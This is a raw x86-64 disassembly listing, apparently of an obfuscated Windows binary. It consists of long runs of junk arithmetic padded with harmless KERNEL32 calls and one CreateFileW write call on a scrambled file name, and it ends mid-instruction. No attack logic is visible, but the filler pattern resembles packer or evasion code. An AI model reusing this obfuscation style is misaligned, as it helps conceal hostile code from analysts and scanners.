mov rcx, qword [rsp + 0x1a620]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6ff]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402bf5e0]
mov byte [rcx], al
movsx eax, word [rsp + 0x3694]
movsx ecx, word [rsp + 0x3800]
sub eax, ecx
mov word [rsp + 0x3a38], ax
mov rax, qword [rsp + 0x1a878]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4fe], al
movzx eax, word [rsp + 0x2e88]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a378]
mov word [rcx], ax
lea rax, [rsp + 0xd6a0]
mov qword [rsp + 0x1b160], rax
mov rax, qword [rsp + 0x1ae20]
mov rcx, qword [rsp + 0x19e68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x873c], eax
mov rax, qword [rsp + 0x1b0e8]
mov rcx, qword [rsp + 0x1a000]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xda8c], eax
lea rax, [rsp + 0xb3c4]
mov qword [rsp + 0x1b168], rax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdf1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd594], eax
movzx eax, byte [rsp + 0x4e2]
mov byte [rsp + 0x8f0], al
movzx eax, word [0x1402ad8b0]
movzx ecx, word [rsp + 0x3bbc]
sar eax, cl
mov word [0x1402ad674], ax
mov eax, dword [rsp + 0xb6ec]
movzx ecx, al
mov eax, dword [rsp + 0x8af4]
shl eax, cl
mov dword [rsp + 0xd920], eax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov dword [rsp + 0xe160], eax
mov eax, dword [rsp + 0xd0a8]
mov ecx, dword [rsp + 0xdd9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xe0a8], eax
mov rax, qword [rsp + 0x1a1b8]
mov ecx, dword [rsp + 0xcfe8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd5e0], eax
movzx eax, word [0x1402bf738]
mov rcx, qword [rsp + 0x1a240]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x22f8], ax
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x24a]
imul eax, ecx
mov byte [rsp + 0x85b], al
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x8f1], al
mov rax, qword [rsp + 0x1b060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2678]
sub eax, ecx
mov word [rsp + 0x3604], ax
mov eax, dword [rsp + 0xd490]
mov ecx, dword [rsp + 0xdd10]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad988], eax
mov rax, qword [rsp + 0x1abc0]
mov rcx, qword [rsp + 0x1ab68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd158], eax
lea rax, [rsp + 0x8a4]
mov qword [rsp + 0x1b170], rax
movzx eax, word [rsp + 0x35f8]
mov rcx, qword [rsp + 0x1a930]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x1acd8]
mov eax, dword [rax]
mov dword [rsp + 0xe164], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x1aa50]
mov rcx, qword [rsp + 0x1ac08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1ad50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x1a6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd610], eax
mov rax, qword [0x1402bf3e0]
mov rcx, qword [rsp + 0x1b158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8960], eax
movzx eax, word [rsp + 0x2d6c]
movzx ecx, word [rsp + 0x3100]
and eax, ecx
mov word [rsp + 0x3794], ax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acbfe]
imul eax, ecx
mov rcx, qword [0x1402bf358]
mov byte [rcx], al
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
mov dword [rsp + 0xe168], eax
mov eax, dword [rsp + 0xb0c0]
movzx ecx, al
mov eax, dword [rsp + 0xcfc8]
sar eax, cl
mov rcx, qword [rsp + 0x1a050]
mov dword [rcx], eax
lea rax, [rsp + 0xd71c]
mov qword [rsp + 0x1b178], rax
mov rax, qword [0x1402bf390]
mov rcx, qword [rsp + 0x1a038]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xde70], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c48]
mov qword [rsp + 0x1b180], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b180]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x1b0b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ac50]
movzx eax, byte [rax]
mov byte [rsp + 0x8f2], al
mov rax, qword [rsp + 0x1a7e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19dd0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x1ad70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3c5c]
add eax, ecx
mov word [rsp + 0x2668], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xe16c], eax
lea rax, [rsp + 0x87a]
mov qword [0x1402bf2e8], rax
mov eax, dword [rsp + 0xa050]
mov ecx, dword [rsp + 0xd484]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xde0c], eax
mov rax, qword [rsp + 0x1a720]
mov rcx, qword [rsp + 0x1a570]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd098], eax
movzx eax, word [rsp + 0x381c]
mov word [rsp + 0x3ca8], ax
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd250], eax
movzx eax, byte [rsp + 0x844]
mov rcx, qword [rsp + 0x1a878]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x608], al
mov rax, qword [rsp + 0x1a178]
mov eax, dword [rax]
mov dword [rsp + 0xe170], eax
mov rax, qword [rsp + 0x1a250]
mov ecx, dword [rsp + 0xdf38]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa234], eax
mov rax, qword [rsp + 0x1b028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce10], eax
mov rax, qword [rsp + 0x1b168]
mov eax, dword [rax]
mov dword [rsp + 0xe174], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movzx eax, word [rsp + 0x1edc]
mov rcx, qword [0x1402bf688]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402bf3d8], ax
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a188]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1b150]
mov byte [rcx], al
mov rax, qword [rsp + 0x1ae00]
mov ecx, dword [rsp + 0xb798]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7e84], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd000], eax
movsx eax, word [rsp + 0x1d70]
movsx ecx, word [rsp + 0x3c90]
sub eax, ecx
mov word [rsp + 0x3800], ax
movzx eax, byte [rsp + 0x82b]
mov byte [rsp + 0x8f3], al
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3ca4], ax
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xdb18], eax
mov rax, qword [rsp + 0x1a9f0]
movzx eax, byte [rax]
mov byte [rsp + 0x8f4], al
mov eax, dword [rsp + 0x81d0]
movzx ecx, al
mov eax, dword [rsp + 0x93f0]
shr eax, cl
mov dword [rsp + 0x8238], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov dword [0x1402bf2e0], eax
mov eax, dword [rsp + 0xde90]
mov ecx, dword [rsp + 0xd320]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9abc], eax
mov eax, dword [0x1402ad748]
movzx ecx, al
mov eax, dword [rsp + 0x81d0]
shl eax, cl
mov dword [rsp + 0xd400], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x19a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd9ac], eax
movzx eax, byte [rsp + 0x479]
mov byte [rsp + 0x8f5], al
lea rcx, [rsp + 0x1b188]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x1ae88]
movzx eax, word [rax]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3784], ax
mov rax, qword [rsp + 0x1a260]
mov eax, dword [rax]
mov dword [rsp + 0xe178], eax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd074]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb5c], eax
mov eax, dword [rsp + 0xda94]
mov ecx, dword [0x1402bf314]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9b8], eax
mov rax, qword [rsp + 0x1b158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xda28]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad98c], eax
movzx eax, word [rsp + 0x3600]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2768], ax
mov rax, qword [rsp + 0x1a660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x84a]
add eax, ecx
mov byte [rsp + 0x809], al
lea rax, [rsp + 0x854]
mov qword [rsp + 0x1b190], rax
movsx eax, word [rsp + 0x3a3c]
mov rcx, qword [0x1402bf728]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35ac], ax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x1aa50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd964], eax
mov rax, qword [rsp + 0x1af50]
mov eax, dword [rax]
mov dword [rsp + 0xe17c], eax
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
movzx ecx, word [0x1402ad76c]
sub eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov byte [rsp + 0x8f6], al
mov rax, qword [rsp + 0x1b160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd7b0]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad70c], eax
mov eax, dword [rsp + 0xdedc]
movzx ecx, al
mov eax, dword [rsp + 0xdd64]
sar eax, cl
mov dword [rsp + 0xdb3c], eax
mov rax, qword [rsp + 0x1a8d8]
mov rcx, qword [rsp + 0x1ab88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8028], eax
mov eax, dword [0x1402ad91c]
movzx ecx, al
mov eax, dword [rsp + 0xd0f8]
shl eax, cl
mov dword [rsp + 0xdcb0], eax
mov rcx, qword [rsp + 0x1a480]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcebc], eax
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x32a4]
cdq
idiv ecx
mov word [rsp + 0x36dc], ax
movzx eax, byte [rsp + 0x41d]
mov byte [rsp + 0x8f7], al
mov rax, qword [rsp + 0x19f50]
mov ecx, dword [rsp + 0x8308]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd4b4], eax
lea rax, [rsp + 0xc278]
mov qword [rsp + 0x1b198], rax
mov rax, qword [rsp + 0x1aa70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd640], eax
lea rax, [rsp + 0xd720]
mov qword [0x1402bf2d8], rax
mov rax, qword [rsp + 0x1b028]
mov ecx, dword [rsp + 0x9288]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd548], eax
movzx eax, byte [rsp + 0x828]
mov byte [rsp + 0x8f8], al
mov rax, qword [rsp + 0x1a470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3708]
add eax, ecx
mov word [rsp + 0x3630], ax
movzx eax, word [rsp + 0x2a04]
mov word [rsp + 0x3cac], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xde78], eax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x206]
add eax, ecx
mov byte [rsp + 0x88e], al
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x1ae30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdd30], eax
mov rax, qword [rsp + 0x19d20]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8910], eax
movzx eax, byte [rsp + 0x1e2]
imul eax, eax, 0x55
mov byte [rsp + 0x8c4], al
movzx eax, word [rsp + 0x3008]
mov rcx, qword [rsp + 0x1a5a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad85c], ax
mov eax, dword [rsp + 0xd1f0]
mov dword [rsp + 0xe180], eax
mov rax, qword [rsp + 0x19c48]
mov ecx, dword [rsp + 0xce20]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1ae68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1afd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbd40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1acb8]
mov dword [rcx], eax
lea rax, [rsp + 0xd81c]
mov qword [rsp + 0x1b1a0], rax
movzx eax, word [rsp + 0x1cec]
mov rcx, qword [rsp + 0x1ae88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3a50], ax
mov rax, qword [rsp + 0x1a6c0]
movzx eax, byte [rax]
mov byte [rsp + 0x8f9], al
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd004], eax
mov rax, qword [rsp + 0x19cf0]
mov ecx, dword [0x1402bf568]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9144], eax
movsx eax, word [rsp + 0x2d38]
movsx ecx, word [rsp + 0x3778]
shl eax, cl
mov word [0x1402ad990], ax
movsx eax, byte [rsp + 0x17f]
movsx ecx, byte [rsp + 0x217]
sar eax, cl
mov byte [rsp + 0x826], al
mov rax, qword [rsp + 0x1a7c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3b00]
imul eax, ecx
mov rcx, qword [rsp + 0x1a240]
mov word [rcx], ax
mov rax, qword [rsp + 0x1afe0]
movzx eax, byte [rax]
mov byte [rsp + 0x8fa], al
mov rax, qword [rsp + 0x1a690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdc90]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9f0], eax
mov eax, dword [0x1402ad74c]
mov dword [rsp + 0xe184], eax
mov eax, dword [rsp + 0xd1dc]
mov ecx, dword [rsp + 0xe078]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc2c], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ba8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xda5c], eax
mov rax, qword [0x1402bf638]
mov rcx, qword [rsp + 0x19f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbb18], eax
mov rax, qword [rsp + 0x1a918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x857]
add eax, ecx
mov byte [rsp + 0x792], al
mov rcx, qword [rsp + 0x1ab18]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xe188], eax
movzx eax, word [rsp + 0x26d8]
movzx ecx, word [rsp + 0x3c28]
sub eax, ecx
mov word [0x1402ad6f8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcd9c], eax
mov eax, dword [rsp + 0xdfe4]
mov dword [rsp + 0xe18c], eax
mov eax, dword [rsp + 0xb164]
mov ecx, dword [rsp + 0x95c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xe0f0], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x1a9b0]
mov rcx, qword [rsp + 0x1ae68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce10], eax
mov rcx, qword [rsp + 0x1a148]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd4e0], eax
mov eax, dword [rsp + 0xd064]
mov dword [rsp + 0xe190], eax
movzx eax, byte [rsp + 0x869]
mov rcx, qword [rsp + 0x1a918]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7f9], al
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x221c], ax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x889]
sar eax, cl
mov byte [rsp + 0x55], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xe194], eax
mov rax, qword [rsp + 0x1a7e8]
movsx eax, word [rax]
mov rcx, qword [0x1402bf728]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3788], ax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd820]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf3d0]
mov dword [rcx], eax
lea rax, [rsp + 0xd894]
mov qword [rsp + 0x1b1a8], rax
movzx eax, byte [rsp + 0x814]
mov rcx, qword [rsp + 0x19f70]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7a1], al
movzx eax, word [rsp + 0x36dc]
mov word [rsp + 0x3cb0], ax
mov eax, dword [rsp + 0x960c]
mov ecx, dword [rsp + 0xe08c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd73c], eax
mov eax, dword [0x1402bf478]
mov dword [rsp + 0xe198], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbee8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4cc], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb0c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1b038]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x19f70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x390], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov word [0x1402bf2d4], ax
mov rax, qword [rsp + 0x1a948]
mov rcx, qword [rsp + 0x19f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdacc], eax
mov eax, dword [rsp + 0xd5c0]
mov dword [rsp + 0xe19c], eax
lea rdx, [rsp + 0x2c120]
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd754], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.aOXJUj_nZixH5wlK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b1b0], rax
mov rax, qword [rsp + 0x1aa30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd8e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x1a260]
mov rcx, qword [0x1402bf5f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f18], eax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov dword [rsp + 0xe1a0], eax
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1ab50]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1a540]
mov word [rcx], ax
mov rax, qword [rsp + 0x19880]
movzx eax, byte [rax]
mov byte [rsp + 0x8fb], al
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
imul eax, eax, 0x2a
mov byte [rsp + 0x816], al
mov rax, qword [rsp + 0x1a7c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3828]
add eax, ecx
mov word [0x1402bf342], ax
mov eax, dword [0x1402bf650]
mov rcx, qword [rsp + 0x1a410]
mov qword [rsp + 0x1b1b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b1b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcf9c], eax
mov rax, qword [rsp + 0x1ae20]
mov rcx, qword [rsp + 0x19e68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x85f0], eax
movzx eax, byte [rsp + 0x870]
movzx ecx, byte [rsp + 0x7ec]
shl eax, cl
mov byte [rsp + 0x4fe], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x1a8e8]
movzx eax, word [rax]
mov word [rsp + 0x3cb4], ax
mov rax, qword [rsp + 0x1aca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8960]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcee4], eax
mov eax, dword [rsp + 0xd30c]
mov dword [rsp + 0xe1a4], eax
mov eax, dword [rsp + 0x9704]
mov ecx, dword [rsp + 0xce74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd520], eax
mov rax, qword [rsp + 0x1a1e8]
mov rcx, qword [rsp + 0x1a928]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd2f8], eax
movzx eax, word [rsp + 0x36a4]
mov rcx, qword [0x1402bf730]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad994], ax
mov rax, qword [rsp + 0x1a0b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x847]
sub eax, ecx
mov byte [rsp + 0x2e1], al
mov rax, qword [rsp + 0x19ef0]
mov rcx, qword [rsp + 0x1a380]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd64c], eax
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
mov dword [rsp + 0xe1a8], eax
mov rax, qword [rsp + 0x19e30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x199d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x807], al
mov rax, qword [rsp + 0x1b060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b00]
add eax, ecx
mov word [rsp + 0x389c], ax
movzx eax, word [rsp + 0x36a4]
mov word [rsp + 0x3cb8], ax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x1a660]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7f8], al
mov eax, dword [rsp + 0xd7e8]
mov ecx, dword [rsp + 0xdc7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa008], eax
mov rax, qword [rsp + 0x1a938]
mov rcx, qword [rsp + 0x19c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad998], eax
mov eax, dword [rsp + 0xda8c]
mov rcx, qword [rsp + 0x1add8]
mov qword [rsp + 0x1b1c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b1c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd47c], eax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdba8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8544], eax
lea rax, [rsp + 0x8960]
mov qword [rsp + 0x1b1c8], rax
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
cdq
mov ecx, 0xe01
idiv ecx
mov word [rsp + 0x3c7c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xdbc8], eax
movzx eax, byte [rsp + 0x89d]
mov byte [rsp + 0x8fc], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x8a78]
movzx ecx, al
mov eax, dword [rsp + 0xb69c]
sar eax, cl
mov dword [rsp + 0xafbc], eax
mov rax, qword [rsp + 0x1a578]
mov ecx, dword [rsp + 0xd268]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd324], eax
lea rdx, [rsp + 0x2c0e8]
mov rcx, qword [rsp + 0x1a4d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xe1ac], eax
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
mov dword [rsp + 0xe1b0], eax
mov rax, qword [rsp + 0x1a5e0]
mov rcx, qword [rsp + 0x19780]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad808], eax
mov rax, qword [rsp + 0x1a6a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78d]
add eax, ecx
mov byte [rsp + 0x7d3], al
movzx eax, word [0x1402ad96c]
mov rcx, qword [rsp + 0x1ae70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x25a4], ax
mov rax, qword [rsp + 0x1af58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1ac20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7b6], al
movzx eax, word [rsp + 0x1838]
mov word [rsp + 0x3cbc], ax
mov rax, qword [rsp + 0x19e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd9f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd460], eax
mov rax, qword [rsp + 0x1ae90]
mov ecx, dword [rsp + 0x97d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd3c8], eax
movzx eax, byte [rsp + 0x83d]
mov byte [rsp + 0x8fd], al
mov rax, qword [rsp + 0x1a4c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3600], ax
mov eax, dword [rsp + 0xda20]
mov ecx, dword [rsp + 0xda00]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf364], eax
mov rax, qword [rsp + 0x1ad68]
mov eax, dword [rax]
mov dword [rsp + 0xe1b4], eax
mov rax, qword [rsp + 0x19f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1ad30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a720]
mov ecx, dword [rsp + 0xcfac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd298], eax
movzx eax, byte [0x1402acb63]
mov rcx, qword [rsp + 0x1a660]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x38f], al
mov rax, qword [rsp + 0x1a240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a820]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x384c], ax
mov rax, qword [rsp + 0x1a830]
mov eax, dword [rax]
mov dword [rsp + 0xe1b8], eax
mov rax, qword [rsp + 0x1a990]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a268]
mov qword [rsp + 0x1b1d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b1d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xce64], eax
mov rax, qword [rsp + 0x1a608]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a368]
mov qword [rsp + 0x1b1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b1d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xdfd8], eax
mov eax, dword [rsp + 0xde88]
mov dword [0x1402bf2d0], eax
mov eax, dword [rsp + 0xc67c]
mov dword [rsp + 0xe1bc], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a118]
movsx ecx, word [rcx]
